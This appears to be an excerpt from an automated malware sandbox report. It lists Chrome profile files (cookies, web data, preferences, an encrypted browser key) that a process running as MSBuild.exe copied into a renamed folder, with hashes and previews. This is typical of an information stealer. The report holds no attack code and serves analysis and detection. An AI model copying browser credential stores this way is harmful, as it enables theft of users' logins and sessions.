Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\Media History

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, file counter 2, database pages 31, cookie 0x17, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.5386521154163488
Encrypted:	false
SSDEEP:	96:OH5QdSIHfFZx+haloSdr5qrqZrWZpdc1rBRyI4Xp86B+2DrOC6afM:OH5aZ5eMWZpyBv886B+orOafM
MD5:	99C42186E239B7A9DFEC48B019D0A461
SHA1:	C9FEA25A06F52E4542CA5FC1FAA83083CA15ECA1
SHA-256:	27A92F46EE4A69521ACBACC7FAC4309D5C143150FEA83354E67F2472A748F1B3
SHA-512:	A3E840EE53C4DFFAB6C876A3F6567D6CA2DC26AE9DCB8EA4E36B1F318C1834B5D44BDF718E57A3D768083F21C7FD61E87CDEC607E1D2F6E7415664D467AA3390
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\Network Action Predictor

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, file counter 7, database pages 11, 1st free page 10, free pages 2, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	0.4777184572530993
Encrypted:	false
SSDEEP:	48:T3C/qALihje9kqL42WOT/nyFWIxHcLtIOpde1o8:TkqAuhjspnWO+WIx8pIOpde1o8
MD5:	2066D548E204A0107E2BE5B5D05FC1B8
SHA1:	AE3DE4A495182793A742340A5AE74ED4C1182D02
SHA-256:	A1860091C78D9DD4A6FAE050EFCD825C025AB720FE09431FC8EA3418F5BE2805
SHA-512:	23E4D42E797606AF0160C4E344E90ED8F4B22CB86416D084AAF42C505BAD4104FAA086527FC5EFF3ECC9A9A87F4C70E7D866F73F975407D0F879465FE5DF3201
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................[5......,......\.t.+.>...,............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\Network\Cookies

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, file counter 17, database pages 7, 1st free page 5, free pages 2, cookie 0x13, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	1.4755077381471955
Encrypted:	false
SSDEEP:	96:oesz0Rwhba5DX1tHQOd0AS4mcAMmgAU7MxTWbKSS:o+RwE55tHQOKB4mcmgAU7MxTWbNS
MD5:	DEE86123FE48584BA0CE07793E703560
SHA1:	E80D87A2E55A95BC937AC24525E51AE39D635EF7
SHA-256:	60DB12643ECF5B13E6F05E0FBC7E0453D073E0929412E39428D431DB715122C8
SHA-512:	65649B808C7AB01A65D18BF259BF98A4E395B091D17E49849573275B7B93238C3C9D1E5592B340ABCE3195F183943CA8FB18C1C6C2B5974B04FE99FCCF582BFB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................[5.........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\Network\Network Persistent State

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7673
Entropy (8bit):	4.863572380908664
Encrypted:	false
SSDEEP:	192:MSj/hChIPlX4rImZpZb8O6L6RtqrcRFtaSlACtanVXMZ+fp00DqQ4nVBU642b+yU:MSj/hMIPlX4rImZpZb8O6L6R0rcRFtah
MD5:	6831D719DC66FC8DB1D1B140963EE2A6
SHA1:	894B0D656D81B556BEC18174EE2D0840E895B0EC
SHA-256:	D3B78E3A9AF866E26A48106D3B579E1B79D363A2FE754F47E43B94D2A3ECF8A6
SHA-512:	AA94333864318A926439E3494B8A81DBEC82EE7643551FB20DC126A8810BE8408088BB22F05C8D2DC8CD89D03CCA3FEE650B36CD9B888154B6DB83929F5AF93A
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13307751336019893","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":19357},"server":"https://www.googletagmanager.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13307751337575357","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":20443},"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13307751336231833","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":23646},"server":"https://www.google-analytics.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":[],"expiration":"13307749903829724","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":28412},"server":"https://tools.google.com"},{"alternative_service":[{"advertised_alpns":[],"expiration":"133077499

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\Network\Reporting and NEL

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, file counter 10, database pages 11, 1st free page 9, free pages 2, cookie 0xd, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	1.2935593907898029
Encrypted:	false
SSDEEP:	192:gvkQ2I6uU8s1GcILsQqxVs4aNJZjxAly:AkksXHsVNJ/Aw
MD5:	CA87039F373FD200E4FC1D22C3B40296
SHA1:	02783299FE0EBC78BF9E408405ED707FCFEFA432
SHA-256:	6482BBB9BD42957CAE9F534A18FADAD10BB039F008790C75DBDBCE5E9FDEF169
SHA-512:	6CA75984A702360EEFACD3F47B3688368EA05986862220BD2ABA19356DFF0FEABF16B940223AD4B7ED1B3F32E041A4C3A4426A5C50D291D25544E417047DFF39
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................[5.........g.......+...t..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\Network\TransportSecurity

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1874
Entropy (8bit):	5.587918426382499
Encrypted:	false
SSDEEP:	48:Y2SUf+0WeU+aieU+R6UU+OeU+9IKUfyTsU+uQUfmpwU+UwluU+w1UfD:OUf+0WeU+aieU+oUU+JU+9IKUf4sU+uM
MD5:	F934C1B65737BD7DB58AA84052AEE803
SHA1:	AFDCD10527160E9639FD0DBDDC9965DCF42B1ABA
SHA-256:	051216BA3A5294151ECAF9685A96A18175B971DB08C4A378A852B0900A898940
SHA-512:	6AC42745AD1BFCDB084764F591083947036172D0BFB037B3F29259AC0DACDC4838459D1AECE4BB6FF43C006D5FD63E186232F266A4608E9A49F34544C55B91F2
Malicious:	false
Reputation:	unknown
Preview:	{"expect_ct":[],"sts":[{"expiry":1660705903.141382,"host":"Bgr28EGzaqFzUXieBdnVZmUK1Wm4iy7JUTELEIadp84=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1660684303.141385},{"expiry":1671570703.904414,"host":"LAZkYS46RVRcFiZAzmUJrz6TJHBd4nwE6VxPWfPLYHs=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1660684303.904418},{"expiry":1692221736.020158,"host":"M4bfUnCmQAi4PNb3B8aI/2+SVJhHKsMfMMT7fzi6ij4=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1660685736.020162},{"expiry":1692221750.818413,"host":"OuKlWsMW1dkkbI1X/oi6o0Y95ZNSWnSoeaIXAEYPlv4=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1660685750.818417},{"expiry":1671572135.853791,"host":"fJjUrPqhktMfiTHJX3Q0pJi/P12Q72DBgzzJqjlNC4o=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1660685735.853795},{"expiry":1692221735.789992,"host":"nAuqgR4iEWti7SOdT3UHPl6rmZU/DeaIm38P2O2OkgA=","mode":"force-https","sts_include_subdomains":false,"sts_ob

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\Preferences

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9754
Entropy (8bit):	5.25640570747028
Encrypted:	false
SSDEEP:	192:YACwc+7YLcS88yy+F3p7YdkdRirxdplKiWQbDYpqn0ttjEsXtSct:YfTDyx36ysHYtIsXtSct
MD5:	442E949D0B7E259B82758BAFA92BA5B5
SHA1:	4B2C5EB8C6495605DDD05A6F82B5963295F6A648
SHA-256:	60F73C231610F11328279834DFDDD36A510B92A3B6C66FF1CB8BFECF858C550F
SHA-512:	5AF9F7F9F8A91EE67104A6188274534757B4B26DBA941504FDA978AD52FB437969DC14A3B81CB1C569789D719C9051124E2FF9EA7B86331B3D55AD88C1A3D3C7
Malicious:	false
Reputation:	unknown
Preview:	{"NewTabPage":{"PrevNavigationTime":"13305159344550546"},"account_tracker_service_last_update":"13305157817049411","alternate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13245951485614034","autocomplete":{"retention_policy_last_version":104},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser_infobar_last_declined":"13245951692116406","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":false,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13305157821086401"},"download":{"always_open_pdf_externally":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mht:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:ta

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\PreferredApps

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	4.051821770808046
Encrypted:	false
SSDEEP:	3:YVXADAEvTLSJ:Y9AcEvHSJ
MD5:	2B432FEF211C69C745ACA86DE4F8E4AB
SHA1:	4B92DA8D4C0188CF2409500ADCD2200444A82FCC
SHA-256:	42B55D126D1E640B1ED7A6BDCB9A46C81DF461FA7E131F4F8C7108C2C61C14DE
SHA-512:	948502DE4DC89A7E9D2E1660451FCD0F44FD3816072924A44F145D821D0363233CC92A377DBA3A0A9F849E3C17B1893070025C369C8120083A622D025FE1EACF
Malicious:	false
Reputation:	unknown
Preview:	{"preferred_apps":[],"version":1}

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\Secure Preferences

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	21552
Entropy (8bit):	5.582314669863923
Encrypted:	false
SSDEEP:	384:PTztZLQLlTMXL1kXqKf/pUZNCgVLH2HfDwrUmHGS6mix:LMLliL1kXqKf/pUZNCgVLH2Hf0rUGGNx
MD5:	2073262317AC99F2A6A6AAF45BBD24FC
SHA1:	E563E0EC38CA7F0D58044793D99323FB1CA718D3
SHA-256:	F75A4783A280E6F7DA1344986BB278D4310F99A93378AA9A8A83CF179577DE6B
SHA-512:	9DEA028F0304F264FD29FFBD33AFB8BADFDD13B46F4F9C5D0141AB7871E7FE252168FFEBBD3C04F2781AB8F2587B897A3EF085189EECCA4DAF2B67DD766CBE37
Malicious:	false
Reputation:	unknown
Preview:	{"download":{"directory_upgrade":true,"always_open_pdf_externally":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mht:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz:msi"},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13245951485615757","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":{"128":"websto

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\Shortcuts

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, file counter 2, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5934808196382916
Encrypted:	false
SSDEEP:	24:TL/VMnYPhIY5Qlvsd6UwccNp15fBtC71+u4AlAb+10r71n:TLVMnYuFvs8U1cvBty11ab+e31n
MD5:	FCD4EE4C34752D083017D6858FC815F4
SHA1:	B0B5CD4C0FC99A02FEF4408AD06E43047584BBCD
SHA-256:	E9786B67CFB1D2FBE3585B5F102C9096940444D75993635A80069F4C70E0F443
SHA-512:	F3863D0A4225B18B9E7963740463C22BF25D937F1CA605C90EB5C3954B427F6C4DA076F25C5207087460B9E7BEB9208FB1716E80F6565509C608567E68943528
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\Top Sites

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, file counter 2, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.3776480027299556
Encrypted:	false
SSDEEP:	12:TL1Huyq1YA5yEHFxOUwa5qguyZ75fOSCccog2IccogL:TLluym8I6Uwcc25fBa2oL
MD5:	344863DE20CAB27BB70CE070A81EA864
SHA1:	3B8DAD3335A472AB216CF490BC1ED6CCB10B84E2
SHA-256:	4C9116561A1F9ECDC29AC7BBC525DD8A6F2F8AE844302CEF59A9D9BA7E18FD95
SHA-512:	9A8D271C48A461781EAF9F58464533DA4D210396087AAF815CC03F4E6A88395C56D305CD952BDB757E30FD2A448319EEA4232985E1165C7016B42D6578D109C5
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C..........g.....4....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\Trusted Vault

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	5.044394119358456
Encrypted:	false
SSDEEP:	3:gS0j0pdAk4v:giTuv
MD5:	E50B18909828DE3ED262480888542B7B
SHA1:	8416E50E0DFF01782882AB93BD410B92C8ED8E23
SHA-256:	9D4768DC262EC28BCF6F7597A21818B98E658D258EB5724D0AA8CF1E1C283EB7
SHA-512:	2EC6D27F93CA7AD63CF406CE4C6F88DCBB4DC4718F064F34EA243717DF2C94BC34A263ABD38298E3BD116529AAFDCE107EA439DB8522F0CC50DE18D028E8FE46
Malicious:	false
Reputation:	unknown
Preview:	v10..k.]W..t.....Q...g..*...sY

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\Visited Links

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.010048603976123407
Encrypted:	false
SSDEEP:	3:ImtV4Xeu+T/lHlHMllI3cyX5lgwt/l0ndlPMd671p:IiV4Z+x6S3vlgQgPNx
MD5:	67C064740D086D4554EACD7CF088D3C3
SHA1:	74FCACDEEC90C3CA91F3F3495D716182D1BBCE35
SHA-256:	BFD52B8293C9F95CE45F523246B393A03E4242A9C780C2182FBB67D07F99C2D9
SHA-512:	4B296278FA33FF45C1BAAF79E0DDB8CE70F05C635A4AB5ADFC96551DEC08EE8CE54ED20501D9955068F6D5C727B996162848D9EEA0BE3DE73B198B69C514072A
Malicious:	false
Reputation:	unknown
Preview:	VLnk.....?......(._Ikx.<................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\Web Data

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 4, database pages 45, cookie 0x3d, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	1.2882898331044472
Encrypted:	false
SSDEEP:	192:go1/8dpUXbSzTPJPn6UVuUhoEwn7PrH944:gS/inPvVuUhoEwn7b944
MD5:	4822E6A71C88A4AB8A27F90192B5A3B3
SHA1:	CC07E541426BFF64981CE6DE7D879306C716B6B9
SHA-256:	A6E2CCBD736E5892E658020543F4DF20BB422253CAC06B37398AA4935987446E
SHA-512:	C4FCA0DBC8A6B00383B593046E30C5754D570AA2009D4E26460833FB1394D348776400174C898701F621C305F53DC03C1B42CF76AA5DC33D5CCD8FA44935B03C
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......-...........=......................................................[5...........*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\heavy_ad_intervention_opt_out.db

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, file counter 2, database pages 4, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.3519227886164504
Encrypted:	false
SSDEEP:	12:TLC0vwaBg9LBgVDBgQjiZBgKuFtuQkMbmgcVAzO5kMCgGUg5OR:TL9dBgtBgJBgQjiZS53uQFE27MCgGZsR
MD5:	441495697AE6762B18F78DFBD2B2CAAC
SHA1:	6E7DA2515568068E2BA73AA2F1455478842DD666
SHA-256:	3132E0D9BDDEEC929042CA06CDE999D09934A85B30919BCB796882E78CD29E87
SHA-512:	0CC25DF676C486081F5E19E97A2F343665AA8536111B29AB92CC16BA59F8363B1BF915A838EECCAAF445E6AFAABB887F4296E4F1D529839B0C4AE7A04A371349
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.......Q......Q......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\previews_opt_out.db

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, file counter 2, database pages 4, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.34643915120730134
Encrypted:	false
SSDEEP:	24:TL9dBgtBgJBgQjiZS53uQFE27MCgGZse:TZvg/gDgQjiZS0Qj7Bge
MD5:	BA8F4BD010B65C33E59C042497158FD2
SHA1:	D9103D5E9CA88E41F8C1791FC1C949E02ABF3CF7
SHA-256:	D4A2ABE276A5843C2135C0A16DAB1A84119D454ABDFBFAFCA96D63EEE0CBE292
SHA-512:	B94FDA4E97397D479CDED15299FE4639973AD5F8468609BE00BEE98B68895BE29EC805CF7CC7722378E1A554BA8C73C9CE508C8E2F41F9002D0E74CBEFB6A3EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.......Q......Q......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Last Browser

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	106
Entropy (8bit):	3.138546519832722
Encrypted:	false
SSDEEP:	3:tbloIlrJ5ldQxl7aXVdJiG6R0RlAl:tbdlrnQxZaHIGi0R6l
MD5:	DE9EF0C5BCC012A3A1131988DEE272D8
SHA1:	FA9CCBDC969AC9E1474FCE773234B28D50951CD8
SHA-256:	3615498FBEF408A96BF30E01C318DAC2D5451B054998119080E7FAAC5995F590
SHA-512:	CEA946EBEADFE6BE65E33EDFF6C68953A84EC2E2410884E12F406CAC1E6C8A0793180433A7EF7CE097B24EA78A1FDBB4E3B3D9CDF1A827AB6FF5605DA3691724
Malicious:	false
Reputation:	unknown
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Last Version

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.5654483718208256
Encrypted:	false
SSDEEP:	3:MRO6:MX
MD5:	729CC0F524BFE7B4599C6E6E5BF38507
SHA1:	1782FB371769697DF5E6A47FA12F38EB5B2A7EDE
SHA-256:	D121222427CD64AA6E9BD08EA710DDDC5BAC8A85B3D4564E428B9DD84E0880FF
SHA-512:	1BD8FC3A8CDA3105FC0AAF73CC7E14022D386F240EF28B749EBCC16588B907A166585D67CB1C866E8AE07ACFF6B44157ABD60E5F270F3B6AFFE4F9D328A09651
Malicious:	false
Reputation:	unknown
Preview:	104.0.5112.81

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Local State

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61356
Entropy (8bit):	6.071946363928989
Encrypted:	false
SSDEEP:	1536:kX71LMtANJaRBOHK5KvtgBhqQ0HTgHImA01exhi8qjyDKly2:g711NyBTOgd0HhmAnhqj3L
MD5:	A4F10AC4E9DF2BEBE496AE2386BC7B8C
SHA1:	2D457ECEAA0501744A3A0E86436C435A2973C5EE
SHA-256:	BAED8CDB4BE43EBABE614B0ED48D042F0C8B80D834995284144F808579FDB55B
SHA-512:	FA6203B19B3CFAA2BF4B6DA732DF340AA59B91AF3979CFB8A7FA3D2E7834656A7843755967390BD46DB96052AE6DF0F8F2CA7FC90CE23A60C12ABD37D7FDC252
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.660685744940254e+12,"network":1.660653319e+12,"ticks":922844395.0,"uncertainty":1339796.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrYiwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYqQj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxa

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Module Info Cache

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	100612
Entropy (8bit):	3.746093109314905
Encrypted:	false
SSDEEP:	384:EqgKXOVFtrjY6Tt0j7VEKZ4NJrSvNH3mpfyHjOG+Ktro7xdkXyx2HrnGzOrMlmsI:Vq2x16vqSYeDZvTYvLe0KLbZh2
MD5:	BB2681DD05A7111A5504FED2A63F270A
SHA1:	73057476B448D1B6320B7021B2AB66EB66218B7D
SHA-256:	F756B2FA21F20ED786E1DD248E46E6DF9E833949A5FDB0872EB31B288E4AA5A2
SHA-512:	5BAFBD88236634D13EE4DE8E7B77AFCF119F5D83A36BC0612F64D226B3A9B47307365D2A8F24324B465D68F52EBA502DDF8A49544C3860E7A37E1CA3BC5834D7
Malicious:	false
Reputation:	unknown
Preview:	...................C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6......M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n....e8.@...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.G.o.o.g.l.e.\.U.p.d.a.t.e.\.1...3...3.6...1.0.2.\.p.s.m.a.c.h.i.n.e._.6.4...d.l.l..p..+S.`0...c.:.\.p.r.o.g.r.a.m. .f.i.l.e.s. .(.x.8.6.).\.g.o.o.g.l.e.\.u.p.d.a.t.e.\.1...3...3.6...1.0.2.\.....p.s.m.a.c.h.i.n.e._.6.4...d.l.l.....G.o.o.g.l.e. .U.p.d.a.t.e.......G.o.o.g.l.e. .U.p.d.a.t.e.......1...3...3.6...1.0.2.....@...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.G.o.o.g.l.e.\.U.p.d.a.t.e.\.1...3...3.6...

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Safe Browsing Cookies

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6578725692120768
Encrypted:	false
SSDEEP:	24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fB5KayFE6qiwf0dj:T5LLOpEO5J/Kn7U1uB5KXT+8J
MD5:	D6E94D3AA5F7903CBEA1047E85319BB0
SHA1:	323239B32534078C2AC3410DC2BF97A8BE485392
SHA-256:	A7071CA3E53DDC2F4821BC03C133E569C65294C65FE1766096BA364513D9235C
SHA-512:	DCCB0FC26E88767BDA4F4967CB0676AE539DED678812CF21D027138019EA7377230A668535905D9C446CAF9E98DD9CBCD241AC20C02AB982AFBC3A8ED2C31430
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Variations

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQan:YQ3Kq9X0dMgAEiLIM
MD5:	BC6142469CD7DADF107BE9AD87EA4753
SHA1:	72A9AA05003FAB742B0E4DC4C5D9EDA6B9F7565C
SHA-256:	B26DA4F8C7E283AA74386DA0229D66AF14A37986B8CA828E054FC932F68DD557
